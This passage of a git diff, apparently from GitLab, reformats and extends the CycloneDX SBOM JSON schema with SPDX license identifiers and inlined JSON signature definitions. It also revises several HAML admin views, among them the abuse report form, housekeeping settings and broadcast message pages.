+ "MulanPSL-1.0",
+ "OLDAP-1.1",
+ "OLDAP-2.1",
+ "LPL-1.02",
+ "UPL-1.0",
+ "Abstyles",
+ "ZPL-2.0",
+ "MIT-0",
+ "LGPL-2.0-only",
+ "GFDL-1.3-no-invariants-only",
+ "AGPL-3.0",
+ "EPL-2.0",
+ "AFL-3.0",
+ "CDLA-Permissive-1.0",
+ "Artistic-1.0",
+ "CC-BY-NC-ND-4.0",
+ "HTMLTIDY",
+ "Glide",
+ "FSFAP",
+ "LGPLLR",
+ "OGL-UK-3.0",
+ "GFDL-1.2",
+ "SSH-OpenSSH",
+ "GFDL-1.1-only",
+ "MIT-feh",
+ "MPL-1.0",
+ "PostgreSQL",
+ "OLDAP-2.2.2",
+ "SMPPL",
+ "OFL-1.1",
+ "Leptonica",
+ "CERN-OHL-1.1",
+ "BSD-3-Clause-No-Nuclear-Warranty",
+ "CC-BY-ND-2.5",
+ "CC-BY-1.0",
+ "GFDL-1.2-only",
+ "OPUBL-1.0",
+ "libselinux-1.0",
+ "BSD-3-Clause",
+ "ANTLR-PD-fallback",
+ "copyleft-next-0.3.1",
+ "GPL-1.0+",
+ "wxWindows",
+ "LGPL-3.0",
+ "LGPL-2.1",
+ "StandardML-NJ",
+ "BSD-4-Clause",
+ "GPL-2.0-with-bison-exception",
+ "Apache-2.0",
+ "Artistic-1.0-cl8",
+ "GPL-2.0",
+ "Intel-ACPI",
+ "BSL-1.0",
+ "Artistic-1.0-Perl",
+ "BSD-2-Clause-Views",
+ "Interbase-1.0",
+ "NPOSL-3.0",
+ "FLTK-exception",
+ "Bootloader-exception",
+ "WxWindows-exception-3.1",
+ "Linux-syscall-note",
+ "Qt-LGPL-exception-1.1",
+ "LLVM-exception",
+ "PS-or-PDF-font-exception-20170817",
+ "GCC-exception-3.1",
+ "Autoconf-exception-3.0",
+ "LGPL-3.0-linking-exception",
+ "GCC-exception-2.0",
+ "Bison-exception-2.2",
+ "openvpn-openssl-exception",
+ "Libtool-exception",
+ "Autoconf-exception-2.0",
+ "GPL-3.0-linking-source-exception",
+ "GPL-CC-1.0",
+ "OCaml-LGPL-linking-exception",
+ "Universal-FOSS-exception-1.0",
+ "i2p-gpl-java-exception",
+ "CLISP-exception-2.0",
+ "OCCT-exception-1.0",
+ "Qwt-exception-1.0",
+ "gnu-javamail-exception",
+ "u-boot-exception-2.0",
+ "freertos-exception-2.0",
+ "Qt-GPL-exception-1.0",
+ "OpenJDK-assembly-exception-1.0",
+ "SHL-2.1",
+ "mif-exception",
+ "Fawkes-Runtime-exception",
+ "Swift-exception",
+ "GPL-3.0-linking-exception",
+ "SHL-2.0",
+ "Classpath-exception-2.0",
+ "LZMA-exception",
+ "Font-exception-2.0",
+ "Nokia-Qt-exception-1.1",
+ "DigiRule-FOSS-exception",
+ "eCos-exception-2.0",
+ "389-exception"
+ ]
},
"name": {
"type": "string",
"title": "License Name",
"description": "If SPDX does not define the license used, this field may be used to provide the license name",
- "examples": ["Acme Software License"]
+ "examples": [
+ "Acme Software License"
+ ]
},
"text": {
"title": "License text",
@@ -631,7 +1253,9 @@
"type": "string",
"title": "License URL",
"description": "The URL to the license file. If specified, a 'license' externalReference should also be specified for completeness",
- "examples": ["https://www.apache.org/licenses/LICENSE-2.0.txt"],
+ "examples": [
+ "https://www.apache.org/licenses/LICENSE-2.0.txt"
+ ],
"format": "iri-reference"
}
}
@@ -653,12 +1277,16 @@
]
}
},
- "oneOf":[
+ "oneOf": [
{
- "required": ["license"]
+ "required": [
+ "license"
+ ]
},
{
- "required": ["expression"]
+ "required": [
+ "expression"
+ ]
}
]
},
@@ -724,7 +1352,9 @@
"resolves": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/issue"},
+ "items": {
+ "$ref": "#/definitions/issue"
+ },
"title": "Resolves",
"description": "A collection of issues the patch resolves"
}
@@ -810,7 +1440,9 @@
},
"title": "References",
"description": "A collection of URL's for reference. Multiple URLs are allowed.",
- "examples": ["https://example.com"]
+ "examples": [
+ "https://example.com"
+ ]
}
}
},
@@ -886,7 +1518,9 @@
"hashes": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/hash"},
+ "items": {
+ "$ref": "#/definitions/hash"
+ },
"title": "Hashes",
"description": "The hashes of the external reference (if applicable)."
}
@@ -940,19 +1574,25 @@
"type": "string",
"title": "Service Group",
"description": "The grouping name, namespace, or identifier. This will often be a shortened, single name of the company or project that produced the service or domain name. Whitespace and special characters should be avoided.",
- "examples": ["com.acme"]
+ "examples": [
+ "com.acme"
+ ]
},
"name": {
"type": "string",
"title": "Service Name",
"description": "The name of the service. This will often be a shortened, single name of the service.",
- "examples": ["ticker-service"]
+ "examples": [
+ "ticker-service"
+ ]
},
"version": {
"type": "string",
"title": "Service Version",
"description": "The service version.",
- "examples": ["1.0.0"]
+ "examples": [
+ "1.0.0"
+ ]
},
"description": {
"type": "string",
@@ -967,7 +1607,9 @@
},
"title": "Endpoints",
"description": "The endpoint URIs of the service. Multiple endpoints are allowed.",
- "examples": ["https://example.com/api/v1/ticker"]
+ "examples": [
+ "https://example.com/api/v1/ticker"
+ ]
},
"authenticated": {
"type": "boolean",
@@ -982,27 +1624,35 @@
"data": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/dataClassification"},
+ "items": {
+ "$ref": "#/definitions/dataClassification"
+ },
"title": "Data Classification",
"description": "Specifies the data classification."
},
"licenses": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/licenseChoice"},
+ "items": {
+ "$ref": "#/definitions/licenseChoice"
+ },
"title": "Component License(s)"
},
"externalReferences": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/externalReference"},
+ "items": {
+ "$ref": "#/definitions/externalReference"
+ },
"title": "External References",
"description": "External references provide a way to document systems, sites, and information that may be relevant but which are not included with the BOM."
},
"services": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/service"},
+ "items": {
+ "$ref": "#/definitions/service"
+ },
"uniqueItems": true,
"title": "Services",
"description": "A list of services included or deployed behind the parent service. This is not a dependency tree. It provides a way to specify a hierarchical representation of service assemblies."
@@ -1017,7 +1667,9 @@
"title": "Properties",
"description": "Provides the ability to document properties in a name-value store. This provides flexibility to include data not officially supported in the standard without having to use additional namespaces or create extensions. Unlike key-value stores, properties support duplicate names, each potentially having different values. Property names of interest to the general public are encouraged to be registered in the [CycloneDX Property Taxonomy](https://github.com/CycloneDX/cyclonedx-property-taxonomy). Formal registration is OPTIONAL.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/property"}
+ "items": {
+ "$ref": "#/definitions/property"
+ }
},
"signature": {
"$ref": "#/definitions/signature",
@@ -1058,7 +1710,6 @@
"title": "Data flow direction",
"description": "Specifies the flow direction of the data. Direction is relative to the service. Inbound flow states that data enters the service. Outbound flow states that data leaves the service. Bi-directional states that data flows both ways, and unknown states that the direction is not known."
},
-
"copyright": {
"type": "object",
"title": "Copyright",
@@ -1073,7 +1724,6 @@
}
}
},
-
"componentEvidence": {
"type": "object",
"title": "Evidence",
@@ -1083,13 +1733,17 @@
"licenses": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/licenseChoice"},
+ "items": {
+ "$ref": "#/definitions/licenseChoice"
+ },
"title": "Component License(s)"
},
"copyright": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/copyright"},
+ "items": {
+ "$ref": "#/definitions/copyright"
+ },
"title": "Copyright"
}
}
@@ -1258,14 +1912,18 @@
"resolves": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/issue"},
+ "items": {
+ "$ref": "#/definitions/issue"
+ },
"title": "Resolves",
"description": "A collection of issues that have been resolved."
},
"notes": {
"type": "array",
"additionalItems": false,
- "items": {"$ref": "#/definitions/note"},
+ "items": {
+ "$ref": "#/definitions/note"
+ },
"title": "Notes",
"description": "Zero or more release notes containing the locale and content. Multiple note objects may be specified to support release notes in a wide variety of languages."
},
@@ -1274,7 +1932,9 @@
"title": "Properties",
"description": "Provides the ability to document properties in a name-value store. This provides flexibility to include data not officially supported in the standard without having to use additional namespaces or create extensions. Unlike key-value stores, properties support duplicate names, each potentially having different values. Property names of interest to the general public are encouraged to be registered in the [CycloneDX Property Taxonomy](https://github.com/CycloneDX/cyclonedx-property-taxonomy). Formal registration is OPTIONAL.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/property"}
+ "items": {
+ "$ref": "#/definitions/property"
+ }
}
}
},
@@ -1282,7 +1942,9 @@
"type": "object",
"title": "Advisory",
"description": "Title and location where advisory information can be obtained. An advisory is a notification of a threat to a component, service, or system.",
- "required": ["url"],
+ "required": [
+ "url"
+ ],
"additionalProperties": false,
"properties": {
"title": {
@@ -1488,7 +2150,9 @@
"type": "array",
"title": "CWEs",
"description": "List of Common Weaknesses Enumerations (CWEs) codes that describes this vulnerability. For example 399 (of https://cwe.mitre.org/data/definitions/399.html)",
- "examples": [399],
+ "examples": [
+ 399
+ ],
"additionalItems": false,
"items": {
"$ref": "#/definitions/cwe"
@@ -1567,7 +2231,9 @@
"title": "Creation Tools",
"description": "The tool(s) used to identify, confirm, or score the vulnerability.",
"additionalItems": false,
- "items": {"$ref": "#/definitions/tool"}
+ "items": {
+ "$ref": "#/definitions/tool"
+ }
},
"analysis": {
"type": "object",
@@ -1627,10 +2293,14 @@
"items": {
"oneOf": [
{
- "required": ["version"]
+ "required": [
+ "version"
+ ]
},
{
- "required": ["range"]
+ "required": [
+ "range"
+ ]
}
],
"additionalProperties": false,
@@ -1689,9 +2359,256 @@
"maxLength": 1024
},
"signature": {
- "$ref": "jsf-0.82.schema.json#/definitions/signature",
"title": "Signature",
- "description": "Enveloped signature in [JSON Signature Format (JSF)](https://cyberphone.github.io/doc/security/jsf.html)."
+ "description": "Enveloped signature in [JSON Signature Format (JSF)](https://cyberphone.github.io/doc/security/jsf.html).",
+ "type": "object",
+ "oneOf": [
+ {
+ "additionalProperties": false,
+ "properties": {
+ "signers": {
+ "type": "array",
+ "title": "Signature",
+ "description": "Unique top level property for Multiple Signatures. (multisignature)",
+ "additionalItems": false,
+ "items": {
+ "$ref": "#/definitions/signer"
+ }
+ }
+ }
+ },
+ {
+ "additionalProperties": false,
+ "properties": {
+ "chain": {
+ "type": "array",
+ "title": "Signature",
+ "description": "Unique top level property for Signature Chains. (signaturechain)",
+ "additionalItems": false,
+ "items": {
+ "$ref": "#/definitions/signer"
+ }
+ }
+ }
+ },
+ {
+ "title": "Signature",
+ "description": "Unique top level property for simple signatures. (signaturecore)",
+ "$ref": "#/definitions/signer"
+ }
+ ]
+ },
+ "signer": {
+ "type": "object",
+ "title": "Signature",
+ "required": [
+ "algorithm",
+ "value"
+ ],
+ "additionalProperties": false,
+ "properties": {
+ "algorithm": {
+ "oneOf": [
+ {
+ "type": "string",
+ "title": "Algorithm",
+ "description": "Signature algorithm. The currently recognized JWA [RFC7518] and RFC8037 [RFC8037] asymmetric key algorithms. Note: Unlike RFC8037 [RFC8037] JSF requires explicit Ed* algorithm names instead of \"EdDSA\".",
+ "enum": [
+ "RS256",
+ "RS384",
+ "RS512",
+ "PS256",
+ "PS384",
+ "PS512",
+ "ES256",
+ "ES384",
+ "ES512",
+ "Ed25519",
+ "Ed448",
+ "HS256",
+ "HS384",
+ "HS512"
+ ]
+ },
+ {
+ "type": "string",
+ "title": "Algorithm",
+ "description": "Signature algorithm. Note: If proprietary signature algorithms are added, they must be expressed as URIs.",
+ "format": "uri"
+ }
+ ]
+ },
+ "keyId": {
+ "type": "string",
+ "title": "Key ID",
+ "description": "Optional. Application specific string identifying the signature key."
+ },
+ "publicKey": {
+ "title": "Public key",
+ "description": "Optional. Public key object.",
+ "$ref": "#/definitions/publicKey"
+ },
+ "certificatePath": {
+ "type": "array",
+ "title": "Certificate path",
+ "description": "Optional. Sorted array of X.509 [RFC5280] certificates, where the first element must contain the signature certificate. The certificate path must be contiguous but is not required to be complete.",
+ "additionalItems": false,
+ "items": {
+ "type": "string"
+ }
+ },
+ "excludes": {
+ "type": "array",
+ "title": "Excludes",
+ "description": "Optional. Array holding the names of one or more application level properties that must be excluded from the signature process. Note that the \"excludes\" property itself, must also be excluded from the signature process. Since both the \"excludes\" property and the associated data it points to are unsigned, a conforming JSF implementation must provide options for specifying which properties to accept.",
+ "additionalItems": false,
+ "items": {
+ "type": "string"
+ }
+ },
+ "value": {
+ "type": "string",
+ "title": "Signature",
+ "description": "The signature data. Note that the binary representation must follow the JWA [RFC7518] specifications."
+ }
+ }
+ },
+ "keyType": {
+ "type": "string",
+ "title": "Key type",
+ "description": "Key type indicator.",
+ "enum": [
+ "EC",
+ "OKP",
+ "RSA"
+ ]
+ },
+ "publicKey": {
+ "title": "Public key",
+ "description": "Optional. Public key object.",
+ "type": "object",
+ "required": [
+ "kty"
+ ],
+ "additionalProperties": true,
+ "properties": {
+ "kty": {
+ "$ref": "#/definitions/keyType"
+ }
+ },
+ "allOf": [
+ {
+ "if": {
+ "properties": {
+ "kty": {
+ "const": "EC"
+ }
+ }
+ },
+ "then": {
+ "required": [
+ "kty",
+ "crv",
+ "x",
+ "y"
+ ],
+ "additionalProperties": false,
+ "properties": {
+ "kty": {
+ "$ref": "#/definitions/keyType"
+ },
+ "crv": {
+ "type": "string",
+ "title": "Curve name",
+ "description": "EC curve name.",
+ "enum": [
+ "P-256",
+ "P-384",
+ "P-521"
+ ]
+ },
+ "x": {
+ "type": "string",
+ "title": "Coordinate",
+ "description": "EC curve point X. The length of this field must be the full size of a coordinate for the curve specified in the \"crv\" parameter. For example, if the value of \"crv\" is \"P-521\", the decoded argument must be 66 bytes."
+ },
+ "y": {
+ "type": "string",
+ "title": "Coordinate",
+ "description": "EC curve point Y. The length of this field must be the full size of a coordinate for the curve specified in the \"crv\" parameter. For example, if the value of \"crv\" is \"P-256\", the decoded argument must be 32 bytes."
+ }
+ }
+ }
+ },
+ {
+ "if": {
+ "properties": {
+ "kty": {
+ "const": "OKP"
+ }
+ }
+ },
+ "then": {
+ "required": [
+ "kty",
+ "crv",
+ "x"
+ ],
+ "additionalProperties": false,
+ "properties": {
+ "kty": {
+ "$ref": "#/definitions/keyType"
+ },
+ "crv": {
+ "type": "string",
+ "title": "Curve name",
+ "description": "EdDSA curve name.",
+ "enum": [
+ "Ed25519",
+ "Ed448"
+ ]
+ },
+ "x": {
+ "type": "string",
+ "title": "Coordinate",
+ "description": "EdDSA curve point X. The length of this field must be the full size of a coordinate for the curve specified in the \"crv\" parameter. For example, if the value of \"crv\" is \"Ed25519\", the decoded argument must be 32 bytes."
+ }
+ }
+ }
+ },
+ {
+ "if": {
+ "properties": {
+ "kty": {
+ "const": "RSA"
+ }
+ }
+ },
+ "then": {
+ "required": [
+ "kty",
+ "n",
+ "e"
+ ],
+ "additionalProperties": false,
+ "properties": {
+ "kty": {
+ "$ref": "#/definitions/keyType"
+ },
+ "n": {
+ "type": "string",
+ "title": "Modulus",
+ "description": "RSA modulus."
+ },
+ "e": {
+ "type": "string",
+ "title": "Exponent",
+ "description": "RSA exponent."
+ }
+ }
+ }
+ }
+ ]
}
}
-}
+} \ No newline at end of file
diff --git a/app/views/abuse_reports/new.html.haml b/app/views/abuse_reports/new.html.haml
index d5dfddef837..393021ed93c 100644
--- a/app/views/abuse_reports/new.html.haml
+++ b/app/views/abuse_reports/new.html.haml
@@ -1,28 +1,36 @@
- page_title _("Report abuse to administrator")
-%h1.page-title.gl-font-size-h-display
- = _("Report abuse to administrator")
-%p
- = _("Use this form to report to the administrator users who create spam issues, comments or behave inappropriately.")
-%p
- = _("A member of the abuse team will review your report as soon as possible.")
-%hr
-= gitlab_ui_form_for @abuse_report, html: { class: 'js-quick-submit js-requires-input'} do |f|
+.row
+ .col-lg-8
+ %h1.page-title.gl-font-size-h-display
+ = _("Report abuse to administrator")
+ %p
+ = _("Please use this form to report to the administrator users who create spam issues, comments or behave inappropriately.")
+ = _("A member of the abuse team will review your report as soon as possible.")
+
+= gitlab_ui_form_for @abuse_report, html: { class: 'js-quick-submit'} do |f|
= form_errors(@abuse_report)
= f.hidden_field :user_id
+ = f.hidden_field :category
+
.form-group.row
- .col-sm-2.col-form-label
- = f.label :user_id
- .col-sm-10
+ .col-lg-8
+ = f.label :reported_user
+
- name = "#{@abuse_report.user.name} (@#{@abuse_report.user.username})"
= text_field_tag :user_name, name, class: "form-control", readonly: true
.form-group.row
- .col-sm-2.col-form-label
- = f.label :message
- .col-sm-10
- = f.text_area :message, class: "form-control", rows: 2, required: true, value: sanitize(@ref_url)
+ .col-lg-8
+ = f.label :reported_from
+ = f.text_field :reported_from_url, class: "form-control", readonly: true
+ .form-group.row
+ .col-lg-8
+ = f.label :reason
+ = f.text_area :message, class: "form-control", rows: 4, required: true
.form-text.text-muted
- = _("Explain the problem. If appropriate, provide a link to the relevant issue or comment.")
+ = _("Explain why you're reporting the user.")
- .form-actions
- = f.submit _("Send report"), pajamas_button: true
+ = render Pajamas::ButtonComponent.new(type: :submit, variant: :confirm) do
+ = _('Send report')
+ = render Pajamas::ButtonComponent.new(href: @abuse_report.reported_from_url, button_options: { class: 'gl-ml-3' }) do
+ = _('Cancel')
diff --git a/app/views/admin/application_settings/_kroki.html.haml b/app/views/admin/application_settings/_kroki.html.haml
index f1f6dd34401..e1f5802a407 100644
--- a/app/views/admin/application_settings/_kroki.html.haml
+++ b/app/views/admin/application_settings/_kroki.html.haml
@@ -32,4 +32,4 @@
- kroki_available_formats.each do |format|
= f.gitlab_ui_checkbox_component format[:name], format[:label]
- = f.submit _('Save changes'), class: "btn gl-button btn-confirm"
+ = f.submit _('Save changes'), pajamas_button: true
diff --git a/app/views/admin/application_settings/_repository_check.html.haml b/app/views/admin/application_settings/_repository_check.html.haml
index 332d3a94b92..b67cc29f296 100644
--- a/app/views/admin/application_settings/_repository_check.html.haml
+++ b/app/views/admin/application_settings/_repository_check.html.haml
@@ -19,33 +19,15 @@
%h4= _("Housekeeping")
.form-group
- help_text = _("Run housekeeping tasks to automatically optimize Git repositories. Disabling this option will cause performance to degenerate over time.")
- - help_link = link_to _('Learn more.'), help_page_path('administration/housekeeping.md', anchor: 'configure-push-based-maintenance'), target: '_blank', rel: 'noopener noreferrer'
+ - help_link = link_to _('Learn more.'), help_page_path('administration/housekeeping.md', anchor: 'heuristical-housekeeping'), target: '_blank', rel: 'noopener noreferrer'
= f.gitlab_ui_checkbox_component :housekeeping_enabled,
_("Enable automatic repository housekeeping"),
help_text: '%{help_text} %{help_link}'.html_safe % { help_text: help_text, help_link: help_link }
- - if Feature.enabled?(:optimized_housekeeping)
- .form-group
- = f.label :housekeeping_incremental_repack_period, _('Optimize repository period'), class: 'label-bold'
- = f.number_field :housekeeping_incremental_repack_period, class: 'form-control gl-form-input'
- .form-text.text-muted
- = _('Number of Git pushes after which Gitaly is asked to optimize a repository.')
- - else
- .form-group
- = f.label :housekeeping_incremental_repack_period, 'Incremental repack period', class: 'label-bold'
- = f.number_field :housekeeping_incremental_repack_period, class: 'form-control gl-form-input'
- .form-text.text-muted
- = html_escape(s_('Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run.')) % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
- .form-group
- = f.label :housekeeping_full_repack_period, 'Full repack period', class: 'label-bold'
- = f.number_field :housekeeping_full_repack_period, class: 'form-control gl-form-input'
- .form-text.text-muted
- = html_escape(s_('Number of Git pushes after which a full %{code_start}git repack%{code_end} is run.')) % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
- .form-group
- = f.label :housekeeping_gc_period, _('Git GC period'), class: 'label-bold'
- = f.number_field :housekeeping_gc_period, class: 'form-control gl-form-input'
- .form-text.text-muted
- = html_escape(s_('Number of Git pushes after which %{code_start}git gc%{code_end} is run.')) % { code_start: '<code>'.html_safe, code_end: '</code>'.html_safe }
-
+ .form-group
+ = f.label :housekeeping_optimize_repository_period, _('Optimize repository period'), class: 'label-bold'
+ = f.number_field :housekeeping_optimize_repository_period, class: 'form-control gl-form-input'
+ .form-text.text-muted
+ = _('Number of Git pushes after which Gitaly is asked to optimize a repository.')
.sub-section
%h4= s_("AdminSettings|Inactive project deletion")
.js-inactive-project-deletion-form{ data: inactive_projects_deletion_data(@application_setting) }
diff --git a/app/views/admin/application_settings/_user_restrictions.html.haml b/app/views/admin/application_settings/_user_restrictions.html.haml
index 82f5e6def9f..c35056383fa 100644
--- a/app/views/admin/application_settings/_user_restrictions.html.haml
+++ b/app/views/admin/application_settings/_user_restrictions.html.haml
@@ -4,3 +4,4 @@
= label_tag _('User restrictions')
= render_if_exists 'admin/application_settings/updating_name_disabled_for_users', form: form
= form.gitlab_ui_checkbox_component :can_create_group, _("Allow new users to create top-level groups")
+ = form.gitlab_ui_checkbox_component :user_defaults_to_private_profile, _("Make new users' profiles private by default")
diff --git a/app/views/admin/application_settings/_visibility_and_access.html.haml b/app/views/admin/application_settings/_visibility_and_access.html.haml
index 9c8770b8998..e01126e32e1 100644
--- a/app/views/admin/application_settings/_visibility_and_access.html.haml
+++ b/app/views/admin/application_settings/_visibility_and_access.html.haml
@@ -41,7 +41,7 @@
= f.gitlab_ui_checkbox_component :project_export_enabled, s_('AdminSettings|Enabled')
.form-group{ data: { testid: 'bulk-import' } }
- = f.label :bulk_import, s_('AdminSettings|Enable migrating GitLab groups and projects by direct transfer'), class: 'gl-font-weight-bold'
+ = f.label :bulk_import, s_('AdminSettings|Allow migrating GitLab groups and projects by direct transfer'), class: 'gl-font-weight-bold'
= f.gitlab_ui_checkbox_component :bulk_import_enabled, s_('AdminSettings|Enabled')
.form-group
diff --git a/app/views/admin/application_settings/ci/_header.html.haml b/app/views/admin/application_settings/ci/_header.html.haml
index 79c07f491fc..9e8caf0e0b7 100644
--- a/app/views/admin/application_settings/ci/_header.html.haml
+++ b/app/views/admin/application_settings/ci/_header.html.haml
@@ -8,13 +8,13 @@
%p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
- = link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'for-an-instance'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul
%li
= html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or protected tags.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'protected-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'protect-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
%li
= html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
= link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/admin/application_settings/ci_cd.html.haml b/app/views/admin/application_settings/ci_cd.html.haml
index 0414382a108..bd0ce766f81 100644
--- a/app/views/admin/application_settings/ci_cd.html.haml
+++ b/app/views/admin/application_settings/ci_cd.html.haml
@@ -9,7 +9,7 @@
.settings-content
- if ci_variable_protected_by_default?
%p.settings-message.text-center
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/index', anchor: 'protected-cicd-variables') }
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/index', anchor: 'protect-a-cicd-variable') }
= s_('Environment variables on this GitLab instance are configured to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
#js-instance-variables{ data: { endpoint: admin_ci_variables_path, maskable_regex: ci_variable_maskable_regex, protected_by_default: ci_variable_protected_by_default?.to_s} }
diff --git a/app/views/admin/application_settings/general.html.haml b/app/views/admin/application_settings/general.html.haml
index 8c9d54cd5d8..dceee07019c 100644
--- a/app/views/admin/application_settings/general.html.haml
+++ b/app/views/admin/application_settings/general.html.haml
@@ -75,6 +75,8 @@
= render 'admin/application_settings/external_authorization_service_form', expanded: expanded_by_default?
+= render_if_exists 'admin/application_settings/scim'
+
%section.settings.as-terminal.no-animate#js-terminal-settings{ class: ('expanded' if expanded_by_default?) }
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
diff --git a/app/views/admin/broadcast_messages/_form.html.haml b/app/views/admin/broadcast_messages/_form.html.haml
deleted file mode 100644
index 4e05eb31010..00000000000
--- a/app/views/admin/broadcast_messages/_form.html.haml
+++ /dev/null
@@ -1,67 +0,0 @@
-#broadcast-message-preview
- = render 'preview'
-
-= gitlab_ui_form_for [:admin, @broadcast_message], html: { class: 'broadcast-message-form js-quick-submit js-requires-input'} do |f|
- = form_errors(@broadcast_message)
-
- .form-group.row.mt-4
- .col-sm-2.col-form-label
- = f.label :message
- .col-sm-10
- = f.text_area :message, class: "form-control gl-form-input js-autosize js-broadcast-message-message",
- required: true,
- dir: 'auto',
- data: { preview_path: preview_admin_broadcast_messages_path }
- .form-group.row
- .col-sm-2.col-form-label
- = f.label :broadcast_type, _('Type')
- .col-sm-10
- = f.select :broadcast_type, broadcast_type_options, {}, class: 'form-control js-broadcast-message-type'
- .form-group.row.js-broadcast-message-background-color-form-group{ class: ('hidden' unless @broadcast_message.banner?) }
- .col-sm-2.col-form-label
- = f.label :theme, _("Theme")
- .col-sm-10
- .input-group
- = f.select :theme, broadcast_theme_options, {}, class: 'form-control js-broadcast-message-theme'
-
- .form-group.row.js-broadcast-message-dismissable-form-group{ class: ('hidden' unless @broadcast_message.banner?) }
- .col-sm-2.col-form-label.pt-0
- = f.label :starts_at, _("Dismissable")
- .col-sm-10
- = f.gitlab_ui_checkbox_component :dismissable, _('Allow users to dismiss the broadcast message')
- - if Feature.enabled?(:role_targeted_broadcast_messages)
- .form-group.row
- .col-sm-2.col-form-label
- = f.label :target_access_levels, _('Target roles')
- .col-sm-10
- - target_access_level_options.each do |human_access_level, access_level|
- = f.gitlab_ui_checkbox_component :target_access_levels, human_access_level, checked_value: access_level, unchecked_value: false, checkbox_options: { multiple: true }
- .form-text.text-muted
- = _('The broadcast message displays only to users in projects and groups who have these roles.')
- .form-group.row.js-toggle-colors-container.toggle-colors.hide
- .col-sm-2.col-form-label
- = f.label :font, _("Font Color")
- .col-sm-10
- = f.color_field :font, class: "form-control gl-form-input text-font-color"
- .form-group.row
- .col-sm-2.col-form-label
- = f.label :target_path, _('Target Path')
- .col-sm-10
- = f.text_field :target_path, class: "form-control gl-form-input"
- .form-text.text-muted
- = _('Paths can contain wildcards, like */welcome')
- .form-group.row
- .col-sm-2.col-form-label
- = f.label :starts_at, _("Starts at (UTC)")
- .col-sm-10.datetime-controls
- = f.datetime_select :starts_at, {}, class: 'form-control form-control-inline'
- .form-group.row
- .col-sm-2.col-form-label
- = f.label :ends_at, _("Ends at (UTC)")
- .col-sm-10.datetime-controls
- = f.datetime_select :ends_at, {}, class: 'form-control form-control-inline'
- .form-actions
- - if @broadcast_message.persisted?
- = f.submit _("Update broadcast message"), pajamas_button: true
- - else
- = f.submit _("Add broadcast message"), pajamas_button: true
diff --git a/app/views/admin/broadcast_messages/_table.html.haml b/app/views/admin/broadcast_messages/_table.html.haml
deleted file mode 100644
index c5cd333f9dd..00000000000
--- a/app/views/admin/broadcast_messages/_table.html.haml
+++ /dev/null
@@ -1,38 +0,0 @@
-- targeted_broadcast_messages_enabled = Feature.enabled?(:role_targeted_broadcast_messages)
-
-- if @broadcast_messages.any?
- .table-responsive
- %table.table.b-table.gl-table
- %thead
- %tr
- %th= _('Status')
- %th= _('Preview')
- %th= _('Starts')
- %th= _('Ends')
- - if targeted_broadcast_messages_enabled
- %th= _('Target roles')
- %th= _('Target Path')
- %th= _('Type')
- %th &nbsp;
- %tbody
- - @broadcast_messages.each do |message|
- %tr
- %td
- = broadcast_message_status(message)
- %td
- = broadcast_message(message, preview: true)
- %td
- = message.starts_at
- %td
- = message.ends_at
- - if targeted_broadcast_messages_enabled
- %td
- = target_access_levels_display(message.target_access_levels)
- %td
- = message.target_path
- %td
- = message.broadcast_type.capitalize
- %td.gl-white-space-nowrap<
- = link_to sprite_icon('pencil', css_class: 'gl-icon'), edit_admin_broadcast_message_path(message), title: _('Edit'), class: 'btn btn-icon gl-button'
- = link_to sprite_icon('remove', css_class: 'gl-icon'), admin_broadcast_message_path(message), method: :delete, remote: true, title: _('Remove'), class: 'js-remove-tr btn btn-icon gl-button btn-danger gl-ml-3'
- = paginate @broadcast_messages, theme: 'gitlab'
diff --git a/app/views/admin/broadcast_messages/edit.html.haml b/app/views/admin/broadcast_messages/edit.html.haml
index 28301833f7d..bef435c07f7 100644
--- a/app/views/admin/broadcast_messages/edit.html.haml
+++ b/app/views/admin/broadcast_messages/edit.html.haml
@@ -1,19 +1,15 @@
- breadcrumb_title _("Messages")
- page_title _("Broadcast Messages")
-- vue_app_enabled = Feature.enabled?(:vue_broadcast_messages, current_user)
-- if vue_app_enabled
- #js-broadcast-message{ data: {
- id: @broadcast_message.id,
- message: @broadcast_message.message,
- broadcast_type: @broadcast_message.broadcast_type,
- theme: @broadcast_message.theme,
- dismissable: @broadcast_message.dismissable.to_s,
- target_access_levels: @broadcast_message.target_access_levels,
- target_path: @broadcast_message.target_path,
- starts_at: @broadcast_message.starts_at,
- ends_at: @broadcast_message.ends_at,
- target_access_level_options: target_access_level_options.to_json,
- } }
-- else
- = render 'form'
+#js-broadcast-message{ data: {
+ id: @broadcast_message.id,
+ message: @broadcast_message.message,
